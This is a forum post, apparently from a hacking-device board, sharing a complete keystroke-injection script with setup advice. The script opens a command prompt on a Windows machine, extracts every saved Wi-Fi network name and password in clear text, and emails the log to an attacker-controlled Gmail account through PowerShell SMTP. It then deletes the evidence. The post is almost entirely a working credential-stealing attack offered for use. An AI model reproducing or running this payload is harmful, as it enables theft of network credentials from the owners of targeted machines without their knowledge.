Jump to content

BurntSushi

Members
  • Posts

    1
  • Joined

  • Last visited

Posts posted by BurntSushi

  1. Your script seems like there it has some flawed monkey business going on.  I'm too lazy to figure out exactly what that is.  However,  This works:

    Note that you will want to create an Application password for Windows in Gmail so that can send email from Windows machines.  A lot of people get hung up on this part.  Go here and follow the instructions.

    https://support.google.com/accounts/answer/185833?hl=en

    Done correctly, Google will give you something like:  hjsjdhuhfkjcjfhfqq

    Use this application in place of YOURPASSWORD

    Don't forget the quotes around 'YOURPASSWORD'

    Obviously, you'll most likely want to create a separate gmail account for serious monkey business as this script put the keys to your Gmail kingdom in clear text.

     

     

    -----SCRIPT----------

    REM --> Adjust the delays up if your machines are slow.

    DELAY 4000

    GUI d
    DELAY 1000
    REM --> Open cmd
    WINDOWS r
    DELAY 1000
    STRING cmd
    ENTER
    DELAY 1000

    REM --> Get all SSID
    STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt
    ENTER
    REM --> Create a filter.bat to get all the profile names
    STRING echo setlocal enabledelayedexpansion^
    ENTER
    ENTER
    STRING for /f "tokens=5*" %%i in (a.txt) do (^
    ENTER
    ENTER
    STRING set val=%%i %%j^
    ENTER
    ENTER
    STRING if "!val:~-1!" == " " set val=!val:~0,-1!^
    ENTER
    ENTER
    STRING echo !val!^>^>b.txt) > filter.bat
    ENTER
    REM --> Run filter.bat and save all profile names in b.txt
    STRING filter.bat
    DELAY 300
    ENTER
    REM --> Save all the good stuff in Log.txt and delete the other garbage files
    STRING (for /f "tokens=*" %i in (b.txt) do @echo     SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt
    ENTER
    DELAY 4000
    STRING del a.txt b.txt filter.bat
    ENTER

    REM --> Mail Log.txt
    STRING powershell
    ENTER
    STRING $SMTPServer = 'smtp.gmail.com'
    ENTER
    STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
    ENTER
    STRING $SMTPInfo.EnableSsl = $true
    ENTER
    STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUREMAIL@gmail.com', 'YOURPASSWORD');
    ENTER
    STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
    ENTER
    STRING $ReportEmail.From = 'EMAILFROM@gmail.com'
    ENTER
    STRING $ReportEmail.To.Add('EMAILTO@gmail.com')
    ENTER
    STRING $ReportEmail.Subject = 'WIFI Log from Machine'
    ENTER
    STRING $ReportEmail.Body = 'Attached is the WIFI Log' 
    ENTER
    STRING $ReportEmail.Attachments.Add('Log.txt')
    ENTER
    STRING $SMTPInfo.Send($ReportEmail)
    ENTER
    DELAY 1000
    STRING exit
    ENTER
    DELAY 1000
    REM --> Delete Log.txt and exit
    STRING del Log.txt
    ENTER
    DELAY 1000
    STRING exit
    ENTER
    DELAY 1000
    STRING exit
     

    -----SCRIPT----------

×
×
  • Create New...